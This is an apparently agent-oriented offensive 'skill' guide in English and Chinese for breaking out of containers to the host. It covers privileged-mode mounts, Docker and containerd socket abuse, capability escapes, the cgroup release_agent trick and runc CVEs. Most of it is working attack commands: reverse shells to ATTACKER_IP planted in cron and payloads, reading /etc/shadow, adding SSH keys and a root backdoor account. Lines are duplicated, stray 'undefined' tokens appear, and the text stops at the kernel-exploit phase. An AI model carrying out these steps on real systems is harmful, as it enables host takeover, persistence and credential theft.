offensive-container-escape
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseContainer Escape and Breakout
容器逃逸与突破
You have a shell inside a container. Your objective is to break out to the underlying host operating system. Container isolation relies on Linux namespaces, cgroups, seccomp profiles, AppArmor/SELinux, and dropped capabilities. Every misconfiguration in these layers is an escape vector. This skill walks you through systematic enumeration, exploitation of common misconfigurations, abuse of exposed runtime sockets, capability-based escapes, cgroup breakouts, and known CVEs against container runtimes.
你已在一个容器内获得 shell。目标是突破隔离并进入底层宿主操作系统。容器隔离依赖 Linux namespaces、cgroups、seccomp profiles、AppArmor/SELinux 以及被移除的 capabilities。这些层中的每一种错误配置都可能成为逃逸向量。本 skill 将引导你系统地枚举攻击面、利用常见错误配置、滥用暴露的 runtime socket、执行基于 capability 的逃逸,以及利用针对容器 runtimes 的已知 CVE。
Quick Workflow
快速工作流
- Confirm you are inside a container (check for , cgroup entries, PID 1 process).
.dockerenv - Enumerate capabilities, mounts, namespaces, and sockets with automated tools.
- Identify the escape vector: privileged mode, socket exposure, dangerous capabilities, cgroup misconfiguration, or vulnerable runtime.
- Execute the breakout technique matching the vector.
- Validate host access by reading , checking PID namespace, or writing to host filesystem.
/etc/hostname - Pivot from host access to lateral movement across the cluster or infrastructure.
- 确认自己位于容器内(检查 、cgroup 条目和 PID 1 进程)。
.dockerenv - 使用自动化工具枚举 capabilities、mounts、namespaces 和 sockets。
- 识别逃逸向量:特权模式、socket 暴露、危险 capability、cgroup 错误配置或存在漏洞的 runtime。
- 执行与该向量匹配的突破技术。
- 通过读取 、检查 PID namespace 或写入宿主文件系统来验证宿主访问。
/etc/hostname - 从宿主访问转向在集群或基础设施中横向移动。
Phase 1: Container Detection and Enumeration
Phase 1:容器检测与枚举
Before attempting escape, confirm you are containerized and map the attack surface.
在尝试逃逸前,先确认自己处于容器化环境中并绘制攻击面。
Detecting Container Environment
检测容器环境
bash
undefinedbash
undefinedCheck for Docker marker file
Check for Docker marker file
ls -la /.dockerenv
ls -la /.dockerenv
Check cgroup entries for container identifiers
Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'
Check PID 1 process (containers typically run app process, not init)
Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '
cat /proc/1/cmdline | tr '\0' ' '
Check for container-specific environment variables
Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'
env | grep -iE 'kubernetes|docker|container|pod'
Check hostname (often a truncated container ID)
Check hostname (often a truncated container ID)
hostname
hostname
Check mount info for overlay filesystem
Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20
undefinedcat /proc/1/mountinfo | head -20
undefinedAutomated Enumeration Tools
自动化枚举工具
bash
undefinedbash
undefineddeepce - Docker enumeration and escalation tool
deepce - Docker enumeration and escalation tool
Download and run (if outbound access is available)
Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh
CDK - Zero-dependency container penetration toolkit
CDK - Zero-dependency container penetration toolkit
./cdk evaluate
./cdk evaluate
amicontained - Inspect container runtime and capabilities
amicontained - Inspect container runtime and capabilities
./amicontained
./amicontained
Manual capability check with capsh
Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap
undefinedcapsh --print
cat /proc/1/status | grep -i cap
undefinedDecoding Capabilities Manually
手动解析 Capabilities
bash
undefinedbash
undefinedRead raw capability hex from /proc
Read raw capability hex from /proc
cat /proc/1/status | grep CapEff
cat /proc/1/status | grep CapEff
Example output: CapEff: 0000003fffffffff
Example output: CapEff: 0000003fffffffff
Decode with capsh
Decode with capsh
capsh --decode=0000003fffffffff
capsh --decode=0000003fffffffff
Key dangerous capabilities to look for:
Key dangerous capabilities to look for:
CAP_SYS_ADMIN - mount filesystems, cgroup manipulation, namespace operations
CAP_SYS_ADMIN - mount filesystems, cgroup manipulation, namespace operations
CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries
CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries
CAP_NET_ADMIN - network namespace manipulation, raw sockets
CAP_NET_ADMIN - network namespace manipulation, raw sockets
CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks
CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks
CAP_SYS_RAWIO - direct I/O to /dev/mem, /dev/kmem
CAP_SYS_RAWIO - direct I/O to /dev/mem, /dev/kmem
CAP_SYS_MODULE - load/unload kernel modules
CAP_SYS_MODULE - load/unload kernel modules
CAP_MKNOD - create device files
CAP_MKNOD - create device files
undefinedundefinedChecking Namespace Isolation
检查 Namespace 隔离
bash
undefinedbash
undefinedCompare PID namespace
Compare PID namespace
ls -la /proc/1/ns/pid
ls -la /proc/self/ns/pid
ls -la /proc/1/ns/pid
ls -la /proc/self/ns/pid
Check if sharing host namespaces
Check if sharing host namespaces
ls -la /proc/1/ns/ | awk '{print $NF}'
ls -la /proc/1/ns/ | awk '{print $NF}'
If namespace inodes match host, isolation is broken
If namespace inodes match host, isolation is broken
Check mount namespace for host mounts
Check mount namespace for host mounts
cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath'
findmnt
cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath'
findmnt
Check for host network namespace
Check for host network namespace
ip addr show
ip addr show
If you see host interfaces (eth0 with host IP), hostNetwork is true
If you see host interfaces (eth0 with host IP), hostNetwork is true
cat /proc/net/tcp
---cat /proc/net/tcp
---Phase 2: Privileged Container Breakout
Phase 2:特权容器突破
A container run with drops nearly all isolation. It has all capabilities, can see host devices, and has no seccomp or AppArmor restrictions.
--privileged以 运行的容器几乎会失去所有隔离。它拥有全部 capabilities,能够看到宿主设备,并且没有 seccomp 或 AppArmor 限制。
--privilegedMount Host Filesystem
挂载宿主文件系统
bash
undefinedbash
undefinedList available block devices
List available block devices
fdisk -l 2>/dev/null || lsblk
fdisk -l 2>/dev/null || lsblk
Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)
Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)
Mount it into the container
Mount it into the container
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
Verify host access
Verify host access
cat /mnt/host/etc/hostname
cat /mnt/host/etc/shadow
ls -la /mnt/host/root/
cat /mnt/host/etc/hostname
cat /mnt/host/etc/shadow
ls -la /mnt/host/root/
Drop an SSH key for persistent access
Drop an SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
Plant a reverse shell in cron
Plant a reverse shell in cron
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab
Add a backdoor user
Add a backdoor user
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
undefinedecho 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
undefinednsenter to Host Namespaces
使用 nsenter 进入宿主 Namespaces
bash
undefinedbash
undefinedIf PID 1 on the host is visible (privileged + hostPID), nsenter into it
If PID 1 on the host is visible (privileged + hostPID), nsenter into it
This gives you a shell in the host's full namespace context
This gives you a shell in the host's full namespace context
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
Verify you escaped
Verify you escaped
hostname
id
cat /etc/hostname
hostname
id
cat /etc/hostname
Without hostPID, nsenter from mounted procfs
Without hostPID, nsenter from mounted procfs
Mount host /proc first if available
Mount host /proc first if available
nsenter -t 1 -m -u -i -n -p -- bash
undefinednsenter -t 1 -m -u -i -n -p -- bash
undefinedDevice Access Exploitation
设备访问利用
bash
undefinedbash
undefinedPrivileged containers have access to all host devices
Privileged containers have access to all host devices
ls -la /dev/
ls -la /dev/
Read host memory directly
Read host memory directly
dd if=/dev/mem bs=1 count=1024 skip=0 2>/dev/null | xxd | head
dd if=/dev/mem bs=1 count=1024 skip=0 2>/dev/null | xxd | head
Access host disk raw
Access host disk raw
dd if=/dev/sda bs=512 count=1 | xxd | head
dd if=/dev/sda bs=512 count=1 | xxd | head
Create device nodes if CAP_MKNOD is available
Create device nodes if CAP_MKNOD is available
mknod /dev/host_disk b 8 0
mount /dev/host_disk /mnt/host
---mknod /dev/host_disk b 8 0
mount /dev/host_disk /mnt/host
---Phase 3: Docker Socket Abuse
Phase 3:Docker Socket 滥用
When is mounted into a container, you control the Docker daemon and can create privileged containers that mount the host filesystem.
/var/run/docker.sock当 被挂载进容器时,你就控制了 Docker daemon,并可创建挂载宿主文件系统的特权容器。
/var/run/docker.sockDetecting Exposed Socket
检测暴露的 Socket
bash
undefinedbash
undefinedCheck for Docker socket
Check for Docker socket
ls -la /var/run/docker.sock
ls -la /run/docker.sock
ls -la /var/run/docker.sock
ls -la /run/docker.sock
Check if socket is writable
Check if socket is writable
test -w /var/run/docker.sock && echo "WRITABLE" || echo "READ-ONLY"
test -w /var/run/docker.sock && echo "WRITABLE" || echo "READ-ONLY"
Verify Docker API via curl
Verify Docker API via curl
curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool
curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool
Check without curl using socat or Python
Check without curl using socat or Python
python3 -c "
import socket, json
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/var/run/docker.sock')
s.send(b'GET /version HTTP/1.1\r\nHost: localhost\r\n\r\n')
print(s.recv(4096).decode())
"
undefinedpython3 -c "
import socket, json
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/var/run/docker.sock')
s.send(b'GET /version HTTP/1.1\r\nHost: localhost\r\n\r\n')
print(s.recv(4096).decode())
"
undefinedEscape via Docker Socket
通过 Docker Socket 逃逸
bash
undefinedbash
undefinedIf Docker CLI is available
If Docker CLI is available
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host
--net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash
--net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host
--net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash
--net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash
If only curl is available, use Docker API directly
If only curl is available, use Docker API directly
Step 1: Create a container mounting host root
Step 1: Create a container mounting host root
curl -s --unix-socket /var/run/docker.sock
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{ "Image": "alpine", "Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"], "HostConfig": { "Privileged": true, "Binds": ["/:/mnt/host"] } }' | python3 -m json.tool
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{ "Image": "alpine", "Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"], "HostConfig": { "Privileged": true, "Binds": ["/:/mnt/host"] } }' | python3 -m json.tool
curl -s --unix-socket /var/run/docker.sock
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{ "Image": "alpine", "Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"], "HostConfig": { "Privileged": true, "Binds": ["/:/mnt/host"] } }' | python3 -m json.tool
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{ "Image": "alpine", "Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"], "HostConfig": { "Privileged": true, "Binds": ["/:/mnt/host"] } }' | python3 -m json.tool
Capture container ID from response
Capture container ID from response
CONTAINER_ID="<id_from_response>"
CONTAINER_ID="<id_from_response>"
Step 2: Start the container
Step 2: Start the container
curl -s --unix-socket /var/run/docker.sock
-X POST "http://localhost/containers/${CONTAINER_ID}/start"
-X POST "http://localhost/containers/${CONTAINER_ID}/start"
curl -s --unix-socket /var/run/docker.sock
-X POST "http://localhost/containers/${CONTAINER_ID}/start"
-X POST "http://localhost/containers/${CONTAINER_ID}/start"
Step 3: Read output
Step 3: Read output
curl -s --unix-socket /var/run/docker.sock
"http://localhost/containers/${CONTAINER_ID}/logs?stdout=true&stderr=true"
"http://localhost/containers/${CONTAINER_ID}/logs?stdout=true&stderr=true"
curl -s --unix-socket /var/run/docker.sock
"http://localhost/containers/${CONTAINER_ID}/logs?stdout=true&stderr=true"
"http://localhost/containers/${CONTAINER_ID}/logs?stdout=true&stderr=true"
For interactive shell, use exec endpoint
For interactive shell, use exec endpoint
curl -s --unix-socket /var/run/docker.sock
-X POST "http://localhost/containers/${CONTAINER_ID}/exec"
-H "Content-Type: application/json"
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
-X POST "http://localhost/containers/${CONTAINER_ID}/exec"
-H "Content-Type: application/json"
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
undefinedcurl -s --unix-socket /var/run/docker.sock
-X POST "http://localhost/containers/${CONTAINER_ID}/exec"
-H "Content-Type: application/json"
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
-X POST "http://localhost/containers/${CONTAINER_ID}/exec"
-H "Content-Type: application/json"
-d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
undefinedContainerd Socket Abuse
Containerd Socket 滥用
bash
undefinedbash
undefinedCheck for containerd socket
Check for containerd socket
ls -la /run/containerd/containerd.sock
ls -la /run/containerd/containerd.sock
Use ctr if available
Use ctr if available
ctr -a /run/containerd/containerd.sock containers list
ctr -a /run/containerd/containerd.sock images list
ctr -a /run/containerd/containerd.sock containers list
ctr -a /run/containerd/containerd.sock images list
Spawn privileged container via containerd
Spawn privileged container via containerd
ctr -a /run/containerd/containerd.sock run
--privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind
docker.io/library/alpine:latest escape /bin/sh
--privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind
docker.io/library/alpine:latest escape /bin/sh
---ctr -a /run/containerd/containerd.sock run
--privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind
docker.io/library/alpine:latest escape /bin/sh
--privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind
docker.io/library/alpine:latest escape /bin/sh
---Phase 4: Capability-Based Escapes
Phase 4:基于 Capability 的逃逸
Individual Linux capabilities can be sufficient for escape even without full privileged mode.
即使没有完整的特权模式,单个 Linux capability 也可能足以实现逃逸。
CAP_SYS_ADMIN Escape
CAP_SYS_ADMIN 逃逸
bash
undefinedbash
undefinedCAP_SYS_ADMIN allows mounting filesystems and cgroup manipulation
CAP_SYS_ADMIN allows mounting filesystems and cgroup manipulation
Check if present
Check if present
grep CapEff /proc/1/status
capsh --print | grep sys_admin
grep CapEff /proc/1/status
capsh --print | grep sys_admin
Method 1: Mount host filesystem via block device
Method 1: Mount host filesystem via block device
mount /dev/sda1 /mnt
mount /dev/sda1 /mnt
Method 2: cgroup release_agent escape (see Phase 5)
Method 2: cgroup release_agent escape (see Phase 5)
Method 3: Abuse user namespace
Method 3: Abuse user namespace
unshare -Urm bash
undefinedunshare -Urm bash
undefinedCAP_SYS_PTRACE Escape
CAP_SYS_PTRACE 逃逸
bash
undefinedbash
undefinedCAP_SYS_PTRACE allows tracing processes across namespaces
CAP_SYS_PTRACE allows tracing processes across namespaces
Combined with hostPID, you can inject into host processes
Combined with hostPID, you can inject into host processes
Find a host process (requires shared PID namespace)
Find a host process (requires shared PID namespace)
ps aux | grep -v grep | head -20
ps aux | grep -v grep | head -20
Inject shellcode into a host process using ptrace
Inject shellcode into a host process using ptrace
Python ptrace injection example
Python ptrace injection example
python3 -c "
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
python3 -c "
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
Target a host process PID
Target a host process PID
target_pid = 1 # systemd or init
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
target_pid = 1 # systemd or init
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
Attach to target
Attach to target
result = libc.ptrace(PTRACE_ATTACH, target_pid, 0, 0)
print(f'Attach result: {result}')
"
result = libc.ptrace(PTRACE_ATTACH, target_pid, 0, 0)
print(f'Attach result: {result}')
"
Alternatively, use /proc/PID/root to access host filesystem via host PID
Alternatively, use /proc/PID/root to access host filesystem via host PID
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow
undefinedls -la /proc/1/root/
cat /proc/1/root/etc/shadow
undefinedCAP_NET_ADMIN Escape
CAP_NET_ADMIN 逃逸
bash
undefinedbash
undefinedCAP_NET_ADMIN with host network namespace enables ARP spoofing,
CAP_NET_ADMIN with host network namespace enables ARP spoofing,
traffic interception, and network-based attacks against the host
traffic interception, and network-based attacks against the host
Check for capability
Check for capability
capsh --print | grep net_admin
capsh --print | grep net_admin
Create a network tap to sniff host traffic
Create a network tap to sniff host traffic
ip link add name sniff0 type dummy
tcpdump -i eth0 -w /tmp/capture.pcap &
ip link add name sniff0 type dummy
tcpdump -i eth0 -w /tmp/capture.pcap &
ARP spoof the gateway to intercept traffic
ARP spoof the gateway to intercept traffic
(requires host network namespace)
(requires host network namespace)
undefinedundefinedCAP_DAC_READ_SEARCH Escape
CAP_DAC_READ_SEARCH 逃逸
bash
undefinedbash
undefinedBypass file permission checks for reading
Bypass file permission checks for reading
Access host filesystem through /proc/1/root if hostPID is shared
Access host filesystem through /proc/1/root if hostPID is shared
Use open_by_handle_at to access files outside the container mount
Use open_by_handle_at to access files outside the container mount
This is the shocker exploit technique
This is the shocker exploit technique
Compile and run the shocker PoC:
Compile and run the shocker PoC:
cat > /tmp/shocker.c << 'CEOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
int main() {
struct my_file_handle h;
h.handle_bytes = 8;
h.handle_type = 1;
memset(h.f_handle, 0, sizeof(h.f_handle));
// Brute force inode handles to access host /etc/shadow
int mount_fd = open("/etc/hostname", O_RDONLY);
// ... (PoC continues with handle iteration)
return 0;
}
CEOF
gcc -o /tmp/shocker /tmp/shocker.c
---cat > /tmp/shocker.c << 'CEOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
int main() {
struct my_file_handle h;
h.handle_bytes = 8;
h.handle_type = 1;
memset(h.f_handle, 0, sizeof(h.f_handle));
// Brute force inode handles to access host /etc/shadow
int mount_fd = open("/etc/hostname", O_RDONLY);
// ... (PoC continues with handle iteration)
return 0;
}
CEOF
gcc -o /tmp/shocker /tmp/shocker.c
---Phase 5: Cgroup Escape (notify_on_release)
Phase 5:Cgroup 逃逸(notify_on_release)
The cgroup v1 mechanism executes a binary on the host when the last process in a cgroup exits. This is the classic container escape for containers with CAP_SYS_ADMIN.
notify_on_releasecgroup v1 的 机制会在 cgroup 中最后一个进程退出时于宿主上执行二进制文件。对于拥有 CAP_SYS_ADMIN 的容器而言,这是经典的容器逃逸方式。
notify_on_releaseClassic Cgroup Release Agent Escape
经典 Cgroup Release Agent 逃逸
bash
undefinedbash
undefinedRequires: CAP_SYS_ADMIN and cgroup v1
Requires: CAP_SYS_ADMIN and cgroup v1
This runs a command on the HOST, not inside the container
This runs a command on the HOST, not inside the container
Step 1: Find the container's cgroup mount
Step 1: Find the container's cgroup mount
mount | grep cgroup
mount | grep cgroup
Look for: cgroup on /sys/fs/cgroup/... type cgroup (rw,...)
Look for: cgroup on /sys/fs/cgroup/... type cgroup (rw,...)
Step 2: Create a child cgroup
Step 2: Create a child cgroup
mkdir /sys/fs/cgroup/rdma/escape_cgroup 2>/dev/null ||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp &&
mkdir /tmp/cgrp/escape_cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp &&
mkdir /tmp/cgrp/escape_cgroup
CGROUP_DIR="/tmp/cgrp"
ESCAPE_DIR="${CGROUP_DIR}/escape_cgroup"
mkdir /sys/fs/cgroup/rdma/escape_cgroup 2>/dev/null ||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp &&
mkdir /tmp/cgrp/escape_cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp &&
mkdir /tmp/cgrp/escape_cgroup
CGROUP_DIR="/tmp/cgrp"
ESCAPE_DIR="${CGROUP_DIR}/escape_cgroup"
Step 3: Enable notify_on_release
Step 3: Enable notify_on_release
echo 1 > ${ESCAPE_DIR}/notify_on_release
echo 1 > ${ESCAPE_DIR}/notify_on_release
Step 4: Find container filesystem path on host
Step 4: Find container filesystem path on host
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
echo "Host path: ${host_path}"
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
echo "Host path: ${host_path}"
Step 5: Set the release_agent to execute our payload
Step 5: Set the release_agent to execute our payload
echo "${host_path}/cmd" > ${CGROUP_DIR}/release_agent
echo "${host_path}/cmd" > ${CGROUP_DIR}/release_agent
Step 6: Write payload that runs on the host
Step 6: Write payload that runs on the host
cat > /cmd << 'PAYLOAD'
#!/bin/bash
cat > /cmd << 'PAYLOAD'
#!/bin/bash
This runs on the HOST
This runs on the HOST
cat /etc/hostname > /output
id >> /output
ps aux >> /output
cat /etc/hostname > /output
id >> /output
ps aux >> /output
Reverse shell to attacker
Reverse shell to attacker
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
PAYLOAD
chmod +x /cmd
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
PAYLOAD
chmod +x /cmd
Step 7: Trigger the escape by putting a process in the cgroup and letting it exit
Step 7: Trigger the escape by putting a process in the cgroup and letting it exit
echo $$ > ${ESCAPE_DIR}/cgroup.procs
echo $$ > ${ESCAPE_DIR}/cgroup.procs
The shell PID joins the cgroup, then when we create and exit a subshell:
The shell PID joins the cgroup, then when we create and exit a subshell:
bash -c "echo $$ > ${ESCAPE_DIR}/cgroup.procs && exit"
bash -c "echo $$ > ${ESCAPE_DIR}/cgroup.procs && exit"
Step 8: Check output
Step 8: Check output
sleep 1
cat /output
undefinedsleep 1
cat /output
undefinedCgroup Escape Variations
Cgroup 逃逸变体
bash
undefinedbash
undefinedVariation: Using devices cgroup subsystem
Variation: Using devices cgroup subsystem
mkdir /tmp/cgrp && mount -t cgroup -o devices cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
mkdir /tmp/cgrp && mount -t cgroup -o devices cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Variation: Memory cgroup
Variation: Memory cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
Same pattern follows
Same pattern follows
Note: cgroup v2 unified hierarchy does not support release_agent
Note: cgroup v2 unified hierarchy does not support release_agent
in the same way. Check cgroup version:
in the same way. Check cgroup version:
stat -fc %T /sys/fs/cgroup/
stat -fc %T /sys/fs/cgroup/
"cgroup2fs" = v2, "tmpfs" = v1
"cgroup2fs" = v2, "tmpfs" = v1
---
---Phase 6: Runtime CVE Exploitation
Phase 6:Runtime CVE 利用
CVE-2019-5736: runc Overwrite
CVE-2019-5736:runc 覆写
This vulnerability allows a container to overwrite the host runc binary, gaining code execution on the host whenever any container is started.
bash
undefined该漏洞允许容器覆写宿主上的 runc 二进制文件,从而在下次启动任何容器时于宿主上实现代码执行。
bash
undefinedCheck runc version
Check runc version
runc --version 2>/dev/null
docker version 2>/dev/null | grep -A5 Server
runc --version 2>/dev/null
docker version 2>/dev/null | grep -A5 Server
Vulnerable: runc < 1.0.0-rc6
Vulnerable: runc < 1.0.0-rc6
The attack overwrites /proc/self/exe (the runc binary) from inside the container
The attack overwrites /proc/self/exe (the runc binary) from inside the container
Step 1: Prepare the payload binary that replaces runc
Step 1: Prepare the payload binary that replaces runc
cat > /tmp/payload.sh << 'EXPLOIT'
#!/bin/bash
cat > /tmp/payload.sh << 'EXPLOIT'
#!/bin/bash
This replaces the host runc binary
This replaces the host runc binary
When admin next runs docker exec or docker run, our payload executes
When admin next runs docker exec or docker run, our payload executes
echo '#!/bin/bash' > /bin/bash_backup
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /bin/bash_backup
chmod +x /bin/bash_backup
EXPLOIT
echo '#!/bin/bash' > /bin/bash_backup
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /bin/bash_backup
chmod +x /bin/bash_backup
EXPLOIT
Step 2: Overwrite /bin/sh to be a program that overwrites runc via /proc/self/exe
Step 2: Overwrite /bin/sh to be a program that overwrites runc via /proc/self/exe
The actual exploit requires a compiled Go binary that:
The actual exploit requires a compiled Go binary that:
1. Opens /proc/self/exe for writing (which points to runc during exec)
1. Opens /proc/self/exe for writing (which points to runc during exec)
2. Writes attacker payload to it
2. Writes attacker payload to it
3. runc on host is now the attacker's binary
3. runc on host is now the attacker's binary
PoC tools: github.com/Frichetten/CVE-2019-5736-PoC
PoC tools: github.com/Frichetten/CVE-2019-5736-PoC
Compile the PoC, copy into container, and trigger via docker exec
Compile the PoC, copy into container, and trigger via docker exec
undefinedundefinedCVE-2024-21626: Leaky Vessels (runc)
CVE-2024-21626:Leaky Vessels(runc)
A file descriptor leak in runc allows containers to access the host filesystem by referencing leaked entries that point to the host working directory.
/proc/self/fdbash
undefinedrunc 中的文件描述符泄漏允许容器通过引用指向宿主工作目录的泄漏 条目来访问宿主文件系统。
/proc/self/fdbash
undefinedVulnerable: runc <= 1.1.11
Vulnerable: runc <= 1.1.11
The vulnerability is in the WORKDIR processing during container build/run
The vulnerability is in the WORKDIR processing during container build/run
Check runc version
Check runc version
runc --version
runc --version
Exploitation concept:
Exploitation concept:
1. Craft a Dockerfile with WORKDIR /proc/self/fd/8 (or other FD number)
1. Craft a Dockerfile with WORKDIR /proc/self/fd/8 (or other FD number)
2. The leaked file descriptor points to the host filesystem
2. The leaked file descriptor points to the host filesystem
3. Building or running the image gives host filesystem access
3. Building or running the image gives host filesystem access
Malicious Dockerfile example (build-time exploitation):
Malicious Dockerfile example (build-time exploitation):
cat > /tmp/Dockerfile.escape << 'DOCKERFILE'
FROM ubuntu:latest
cat > /tmp/Dockerfile.escape << 'DOCKERFILE'
FROM ubuntu:latest
The leaked fd points to host CWD during build
The leaked fd points to host CWD during build
WORKDIR /proc/self/fd/8
WORKDIR /proc/self/fd/8
This RUN now operates on the host filesystem
This RUN now operates on the host filesystem
RUN cat /etc/shadow > /tmp/shadow_dump || true
DOCKERFILE
RUN cat /etc/shadow > /tmp/shadow_dump || true
DOCKERFILE
Runtime exploitation:
Runtime exploitation:
Container started with WORKDIR pointing to leaked fd
Container started with WORKDIR pointing to leaked fd
can read/write host files through the fd reference
can read/write host files through the fd reference
Detection: Check for /proc/self/fd references in WORKDIR directives
Detection: Check for /proc/self/fd references in WORKDIR directives
grep -r "WORKDIR.*proc/self/fd" /path/to/dockerfiles/
undefinedgrep -r "WORKDIR.*proc/self/fd" /path/to/dockerfiles/
undefinedCVE-2020-15257: Containerd Host Networking
CVE-2020-15257:Containerd 宿主网络
bash
undefinedbash
undefinedContainerd < 1.4.3, < 1.3.9
Containerd < 1.4.3, < 1.3.9
Containers sharing host network namespace can access containerd-shim API
Containers sharing host network namespace can access containerd-shim API
Check if container uses host network
Check if container uses host network
cat /proc/1/ns/net | xargs readlink
ip addr | grep docker0 # Seeing host interfaces indicates host network
cat /proc/1/ns/net | xargs readlink
ip addr | grep docker0 # Seeing host interfaces indicates host network
Access containerd-shim abstract unix socket
Access containerd-shim abstract unix socket
from host network namespace container
from host network namespace container
curl --unix-socket /run/containerd/containerd.sock
http://localhost/v1/namespaces
http://localhost/v1/namespaces
---curl --unix-socket /run/containerd/containerd.sock
http://localhost/v1/namespaces
http://localhost/v1/namespaces
---Phase 7: Kernel Exploits from Container
Phase 7:从容器内部利用内核漏洞
When other escape vectors are unavailable, kernel vulnerabilities may provide a path to host access since the container shares the host kernel.
当其他逃逸向量均不可用时,由于容器与宿主共享同一个内核,内核漏洞可能为访问宿主提供路径。
